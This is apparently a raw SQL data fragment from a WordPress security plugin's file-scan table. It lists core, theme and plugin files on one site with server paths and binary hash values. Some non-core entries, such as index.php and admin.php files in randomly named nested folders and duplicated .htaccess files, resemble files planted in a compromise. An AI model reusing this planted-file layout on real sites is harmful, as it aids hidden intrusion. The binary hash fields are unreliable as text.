(')D','wp-includes/block-i18n.json','/home/trevorkl/trevorklee.com/wp-includes/block-i18n.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','n!:D8','f\\tM&\r1	$u3 ','',0,'?'),
('\'7b~ 6','wp-includes/sodium_compat/src/Core/Base64/Original.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Base64/Original.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>^AdS^','f+T&\nIOkoa+Xdrp\r','',0,'?'),
('26,̞|keL\ns','wp-content/plugins/wordfence/images/2fa1.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/2fa1.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/)h\\ hG8','C%0z)f @t>ɶ{T8o','',0,'?'),
('J8mZ<#','wp-includes/blocks/accordion/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/accordion/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','kT0kUٵ','@q\Zxt-\"P)','',0,'?'),
('VCdvۦ','wp-includes/blocks/file/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/file/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','AVHxn','\n#e\"L2OVJR@\'8\rB','',0,'?'),
('Vp#f','wp-includes/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/.htaccess',0,'q	n\03%Y','q	n\03%Y',';:3d$,KNnNpR6A','',0,'?'),
('Z1׼B0n','wp-includes/css/dist/patterns/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/patterns/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','k9-ms>`E\0K','PpGvNA>PvQ>J\"','',0,'?'),
('`V\\9','wp-content/themes/twentynineteen/template-parts/content/content-page.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/template-parts/content/content-page.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7GmxWd','	Nż	I6h%^?`vY=2','',0,'?'),
('x潓ıK4/l','wp-includes/rest-api/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/rest-api/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('|#԰#{','wp-admin/js/link.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/link.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\nwhs[','y׈h8Hi*\r!4*<9gV\"U','',0,'?'),
('ډx`9LťM,L','wp-includes/css/dist/block-editor/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-editor/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.s0wÆ߶','7xYi\0c+y0#Ȕ!`','',0,'?'),
('ښ޴u_','wp-includes/blocks/post-template/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-template/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4ЖE`DoD','<\Z..U,fںNUqxVU]','',0,'?'),
('ڰXϨ]Is_Z}','wp-content/themes/twentytwenty/assets/js/color-calculations.js','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/js/color-calculations.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>.t▉;#','6nRĀ\rʛ]ʯq!EF͸Qu','',0,'?'),
('#6K%#f\r','wp-includes/js/dist/vendor/wp-polyfill-element-closest.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/wp-polyfill-element-closest.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')N F]-(','R	õ<\\@\n>4f$Z Cv}Z','',0,'?'),
('WS:(=c','wp-content/themes/twentynineteen/fonts/NonBreakingSpaceOverride.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/fonts/NonBreakingSpaceOverride.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','GߔAB\\','`GS\"Ŝ(Gu\Z	sEP|','',0,'?'),
('rwƞ','wp-includes/blocks/footnotes.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/footnotes.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Jt+`촒:','2*q-htQe{uEZ\'i','',0,'?'),
('.Jau*cgM','wp-content/uploads/ewncuos/rzkntb1/d1kvmfi/index.php','/home/trevorkl/trevorklee.com/wp-content/uploads/ewncuos/rzkntb1/d1kvmfi/index.php',0,'iT#LO`C`e','iT#LO`C`e','ɘ?uݘ1F @gpCCH\nSDoݚ','',0,'?'),
('̭\n5B+l','wp-includes/blocks/gallery/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/gallery/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#\'yb XbS','uk*d,ЙO!uCͰҚ\0','',0,'?'),
('Nu|0#:-f','wp-content/plugins/wordfence/js/admin.ajaxWatcher.1788880300.js','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/js/admin.ajaxWatcher.1788880300.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Nů)','\'vᦸ =\'Xk<6YSt','',0,'?'),
('JB&9:VF[','wp-includes/js/dist/media-utils.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/media-utils.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*65eDxb','j^\'}+HrBj\0w\ZO','',0,'?'),
('pNe9OiEX)!','wp-content/themes/twentytwentytwo/inc/patterns/general-video-trailer.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/general-video-trailer.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|^tQkLׯ','a[THp{\rD]4y6|b\">','',0,'?'),
('qQ֏#7)RYfl','wp-includes/html-api/knojvbd/lyuifac/csdhol1/index.php','/home/trevorkl/trevorklee.com/wp-includes/html-api/knojvbd/lyuifac/csdhol1/index.php',0,'+HC$Og\Z','+HC$Og\Z','Z5ţ(F2dz&yu`f','',0,'?'),
('!(t<Թ','wp-includes/js/heartbeat.js','/home/trevorkl/trevorklee.com/wp-includes/js/heartbeat.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ӃY\0dp>P','7?Fĭx\Z\'2fv\Z','',0,'?'),
('Dw@GҾj\nm','wp-includes/js/dist/script-modules/dashboard-init/index.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/dashboard-init/index.min.asset.php',0,'&ꆍ`Nwz','&ꆍ`Nwz','@-g3,qNkج','',0,'?'),
('_\rJL#@B','wp-admin/css/colors/midnight/colors.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/midnight/colors.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	⤞2-&:',']}Xω\')CrC~:','',0,'?'),
(' I_X?','wp-admin/js/gallery.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/gallery.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','V\r~7xDecb','У0	#u\r/L:hJR\'9k','',0,'?'),
('4Vs#,Q','wp-includes/blocks/query-pagination/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-pagination/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','֌7̈$8','P`֓}8=_%ogSu!','',0,'?'),
('461mYR','wp-content/plugins/wordfence/crypto/vendor/paragonie/random_compat/lib/random.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/random_compat/lib/random.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4tQSDv','t!BxV\\N<tp!SEг','',0,'?'),
('5cƒ\0hwT','wp-includes/js/dist/script-modules/block-editor/utils/fit-text-frontend.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-editor/utils/fit-text-frontend.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','XFkÃ6','~Rm,aPmㄺ7x%Mݚ','',0,'?'),
('<\0vY>ma','wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-chat.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-chat.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\'2Ա+}>','oзpbZ Nab W','',0,'?'),
('X`/;x*hD','wp-includes/theme-compat/oq1ieuz/xjpufdc/mpdvuix/index.php','/home/trevorkl/trevorklee.com/wp-includes/theme-compat/oq1ieuz/xjpufdc/mpdvuix/index.php',0,'+HC$Og\Z','+HC$Og\Z','Z5ţ(F2dz&yu`f','',0,'?'),
('\\*vL`/J','wp-includes/html-api/knojvbd/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/html-api/knojvbd/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('v6^AA/],6\'y:','wp-admin/css/site-health.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/site-health.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','P[+Fubj->i','U[uN	R>;w|y\Z^遣\\x<I!fCh','',0,'?'),
('ۆA+:ʌ','wp-includes/Requests/library/Requests.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/library/Requests.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5NEj4yx\"$','P\05P^9*xG)֬aX|','',0,'?'),
('ۋ{S0\0\0=1_ئ\r5','wp-includes/js/dist/priority-queue.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/priority-queue.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','z%\\NfJxk','\nܭA]rNFkMEw\0','',0,'?'),
('ۏ%tH\Z[vӛ','wp-content/themes/twentytwentyfive/assets/images/nurse.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/nurse.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_PtTǼzi]','{j~Ǭ[)\'-Z','',0,'?'),
('ۖJBwC|Mv','wp-content/plugins/wordfence/lib/Diff.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/Diff.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5VzY]#yRJݮ','YM\"z)tϖ*cwL\01w$d','',0,'?'),
('ۙȂ\'.gJ\\e','wp-content/themes/twentytwentytwo/inc/patterns/page-sidebar-blog-posts.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/page-sidebar-blog-posts.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8q]X`B7\r','tUS04d&*ӟ$3>(LE6R','',0,'?'),
('۪	.ո\\','wp-includes/js/tinymce/skins/wordpress/wp-content.css','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/wordpress/wp-content.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>aَ:!b','r{@C</-8{&10$Gn','',0,'?'),
('۰8Jpf~~','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBold.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBold.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Q>bYV~A>ǆ','\\k3]b;0Ez\"ZQdkw|','',0,'?'),
('۶nՖ߈D7Ul(,','wp-content/themes/twentytwentyfive/patterns/services-3-col.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/services-3-col.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','jKZJ\nE,',',M=m [䷬y>~MJe-D|','',0,'?'),
('۷\n/','wp-content/themes/twentytwentythree/assets/fonts/dm-sans/DMSans-Bold-Italic.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/dm-sans/DMSans-Bold-Italic.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5=VЯX]','e\"`׎K\\ܙ-C;2.tl];','',0,'?'),
('۱;}kt}','wp-content/themes/twentytwentyfive/patterns/services-subscriber-only-section.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/services-subscriber-only-section.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','oa<gow\r',' |쑛?>~/>1:@IV','',0,'?'),
('r؁=Ԓ','wp-includes/images/rss.png','/home/trevorkl/trevorklee.com/wp-includes/images/rss.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[(.*NZ','j(-9_E-#we$]o01u','',0,'?'),
('ڨtc	˵:G','wp-content/themes/twentytwenty/template-parts/content.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/template-parts/content.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',(A)fO|','o]̀h\"xdHM\\j','',0,'?'),
('\npGnu:','wp-includes/js/colorpicker.js','/home/trevorkl/trevorklee.com/wp-includes/js/colorpicker.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','V g-','Vw%%:3CQ#+g	e}','',0,'?'),
('\Z=EE','wp-content/plugins/loginizer/assets/images/pagelayer_product.png','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/assets/images/pagelayer_product.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' @4L*`|','06a[_u>s3@qĤ(','',0,'?'),
('`su\0tc','wp-includes/html-api/class-wp-html-unsupported-exception.php','/home/trevorkl/trevorklee.com/wp-includes/html-api/class-wp-html-unsupported-exception.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9Pi(:xvw','^ӯQ4!r[\"}֛','',0,'?'),
('ȼ؟\'\r`','wp-includes/feed-rdf.php','/home/trevorkl/trevorklee.com/wp-includes/feed-rdf.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','xG7%\0b','p=m=GlhnhV]-+1a','',0,'?'),
(',Z삦','wp-content/themes/twentytwentytwo/templates/single.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/templates/single.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','zoyN]ɽ2','\0hkQv6Pr\":RF.m$ϭI','',0,'?'),
(')}YZNf','wp-includes/blocks/group/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/group/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('2G?_\\-B','wp-includes/canonical.php','/home/trevorkl/trevorklee.com/wp-includes/canonical.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"FMɼKyL','hx0mKVQ*.;Kڶ?l','',0,'?'),
('740!Go ','wp-content/themes/twentynineteen/sass/elements/_elements.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/elements/_elements.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\G\nS,Rv|Lx','3<cDNK^aR-','',0,'?'),
('9}V p','wp-content/plugins/wordfence/js/wfdropdown.1788880300.js','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/js/wfdropdown.1788880300.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','J_Y\ZTvFu\Z','AĺKba4-t$WTrPd','',0,'?'),
('D:DAXC','wp-content/themes/twentytwentyfour/readme.txt','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/readme.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','yl.]_d','UnRb\\24ۋi!`0ZS','',0,'?'),
('FiTP6rzqQ','wp-includes/theme-compat/oq1ieuz/xjpufdc/mpdvuix/admin.php','/home/trevorkl/trevorklee.com/wp-includes/theme-compat/oq1ieuz/xjpufdc/mpdvuix/admin.php',0,'@J1RD:Oh','@J1RD:Oh','+)ʩmڷߛV)gTx','',0,'?'),
('WڦwBe|vg','wp-content/themes/twentytwentytwo/package-lock.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/package-lock.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','nfcN\nU&ňŸT6','b2367܂~s,0T=[','',0,'?'),
('Z\Z-','wp-content/themes/twentytwentyfive/patterns/template-query-loop-text-blog.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-query-loop-text-blog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','LN9&buq.w','\ZPg!T\\\rB-,^\Z-y','',0,'?'),
('ܓ߇рi\'2\\','wp-includes/js/dist/script-modules/a11y/index.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/a11y/index.min.asset.php',0,')ԍx=t\Z^',')ԍx=t\Z^','\'@l~ͨeee|^','',0,'?'),
('.U	Y=','wp-content/plugins/wordfence/crypto/vendor/paragonie/random_compat/lib/byte_safe_strings.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/random_compat/lib/byte_safe_strings.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','h`VAf','<\\G;1#kLà(փ','',0,'?'),
('TоR\'{','wp-content/plugins/wordfence/lib/wfPersistenceController.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfPersistenceController.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ob<ŝT\r','nd؏iuA4JT1E(Tз ','',0,'?'),
('݀bόK;','wp-includes/SimplePie/library/SimplePie/Decode/HTML/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Decode/HTML/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('ջZml4ˮU','wp-includes/images/smilies/simple-smile.png','/home/trevorkl/trevorklee.com/wp-includes/images/smilies/simple-smile.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','K{fwh','?Yag\\<y0\0183Hg','',0,'?'),
('0\Z/1~','wp-includes/blocks/query-pagination/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-pagination/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~v,kg,\r','2	OjX/loz*5{TD','',0,'?'),
('\r\0FJBe','wp-login.php','/home/trevorkl/trevorklee.com/wp-login.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','uxwxe@*|Q/s','⋾$;i8rT<^5{','',0,'?'),
('׵(KB','wp-includes/js/codemirror/fakejshint.js','/home/trevorkl/trevorklee.com/wp-includes/js/codemirror/fakejshint.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5v,ROlx]J\')K','-6$$;}ptO4]2ТR5֡','',0,'?'),
('Ԭg#٠','wp-content/themes/twentytwentyone/404.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/404.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','n6Z.CA','-cWo6\n(','',0,'?'),
('A0\'jX','wp-content/themes/twentytwentyfour/assets/fonts/instrument-sans/InstrumentSans-Italic-VariableFont_wdth,wght.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/fonts/instrument-sans/InstrumentSans-Italic-VariableFont_wdth,wght.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-\\as','N4|R6)@w7ﾞbGn','',0,'?'),
('5 <؏]Ԛ>u','wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/DatabaseMetadata.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/DatabaseMetadata.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','I}b~ LMQ','WVXHWrrt(<b)','',0,'?'),
('J0jYgh','wp-includes/js/tinymce/plugins/lists/plugin.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/lists/plugin.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','28:sw9J',')b#4e*9(=QEe0|1\n','',0,'?'),
('[65+	n9','wp-admin/images/sort.gif','/home/trevorkl/trevorklee.com/wp-admin/images/sort.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','* 3','vP-~xO\"	;','',0,'?'),
('`L\\3-i_3S\r','wp-includes/blocks/code/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/code/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Mou$0b;}','L4n1IKi=@y62Oz=y6F','',0,'?'),
('fyħ*!','wp-admin/js/nav-menu.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/nav-menu.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3~}\Znm@c','⑼{O\0B܀dwyIepf4ZY','',0,'?'),
('hXI|e?cc','wp-includes/wp-blog-header.php','/home/trevorkl/trevorklee.com/wp-includes/wp-blog-header.php',0,'/&&7','/&&7','4g FGF3t=[\n!J/}U_','',0,'?'),
('ofAם(','wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Exception/RuntimeMmdbException.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Exception/RuntimeMmdbException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','nJ!^\rY^&[c','Ώ$k[oBLZ@haWTe','',0,'?'),
('}9Dȟ<','wp-includes/assets/script-modules-packages.php','/home/trevorkl/trevorklee.com/wp-includes/assets/script-modules-packages.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ke_0iopX','#j֟_Ńj]J6','',0,'?'),
('ݖ\'\"|3_t|','wp-includes/class-wp-term.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-term.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0tvei/:','VGk<|<PS	5I_','',0,'?'),
('ݦ{bh0Q','wp-content/themes/twentytwentyone/assets/sass/05-blocks/rss/_editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/rss/_editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6ߔuUQ(AF','̩\ZTQb[cU,s~$F_\ne	','',0,'?'),
('ݩ$i\nЃޛ','wp-includes/html-api/knojvbd/index.html','/home/trevorkl/trevorklee.com/wp-includes/html-api/knojvbd/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('ݱ*x7+Cɍ','wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexMono-Bold.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexMono-Bold.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','A+({!','<7+nXM\"d\0=Anw','',0,'?'),
('ݲg>:[tQV','wp-includes/blocks/query-title/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-title/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9-mCl-h','i)!nle#aniqla\nOX','',0,'?'),
('ݵiK#B]','wp-includes/blocks/term-description/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-description/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\no\Z*Xqe','9ŤU$\\~{]t-m쐾','',0,'?'),
('ݹ\n4ɕV6','wp-includes/js/tinymce/plugins/charmap/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/charmap/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('4','wp-includes/blocks/media-text/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/media-text/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','m|nrhGݏꇘ','$.S܏?d\rz:[\r%:<&','',0,'?'),
('Ҡĳ\"0\\C','wp-includes/sodium_compat/src/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('\0b21?:','wp-includes/js/dist/core-commands.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/core-commands.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ղԋ\r','n(s\Z\nx\\gb/n<z#6','',0,'?'),
('!zHT۰','wp-includes/js/dist/router.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/router.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','U[	m/','B8K,z`+\0m5:~G*','',0,'?'),
('\'|?>','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/ChaCha20/IetfCtx.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/ChaCha20/IetfCtx.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','LaDJ?Z','=F==<_%=M?u/','',0,'?'),
('	FE)','wp-includes/blocks/comments.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','</6x!k',':S*B\0닇`U/	s\0DSM0-#{','',0,'?'),
('OKN\0Yn\"a','wp-content/plugins/akismet/views/connect-jp.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/views/connect-jp.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','uozN޶W','J tJ{hF?fIk˾','',0,'?'),
('HC)C','wp-content/plugins/wordfence/lib/rest-api/wfRESTBaseController.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/rest-api/wfRESTBaseController.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']k5otdu}','^t!fڄQ^`I+bw','',0,'?'),
('& QjɼD','wp-includes/js/dist/script-modules/video-conversion/loader.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/video-conversion/loader.min.js',0,'\r\r;?j䴬Q','\r\r;?j䴬Q','Ѕ/DdST\r?,zҰXqYR','',0,'?'),
('3^PMYHD','wp-includes/js/tinymce/skins/wordpress/images/video.png','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/wordpress/images/video.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','¶B=\rz3j','iI/=MMX:MApv\r','',0,'?'),
('5foޮ','wp-admin/includes/class-wp-privacy-policy-content.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-privacy-policy-content.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')on_Yy̼B߼','&䳪z3܍pxzͿ','',0,'?'),
('N\\|`*,)@4','wp-includes/images/xit-2x.gif','/home/trevorkl/trevorklee.com/wp-includes/images/xit-2x.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ӂu:@4\rz<5','S\r}@~Q:Sc*d+Z_{R','',0,'?'),
('Xr/D}eB0K','wp-includes/css/dist/patterns/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/patterns/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','oi+Zq::',':3}-\r)\rKtzIyfpr3','',0,'?'),
('vsǾ₡|7','wp-includes/SimplePie/src/Cache.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Cache.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','F#%ؽAzTOG#','QOŎڝ7JZ0L2Ԏ%$','',0,'?'),
('ޅFA|$rM4U','wp-includes/blocks/template-part/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/template-part/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('ޒ?IΩi%gy','wp-content/plugins/wordfence/lib/menu_dashboard_options.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_dashboard_options.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[5&	','zө/zw5	6cf	F','',0,'?'),
('ޚꧭ߅\"gс<Nr','wp-includes/blocks/text-columns/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/text-columns/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','w`}N\nX','t!l`|*^0	l$C;','',0,'?'),
('ޠOČÑL:\0و','wp-content/themes/twentytwenty/assets/images/2020-three-quarters-4.png','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/images/2020-three-quarters-4.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ӂ\"E47ŎE','yaĊ2ݦwʩq,{','',0,'?'),
('ޠqDb,','wp-includes/blocks/paragraph/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/paragraph/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','s9\n}	q¾','Ŕl~%\"Q ^Db\\','',0,'?'),
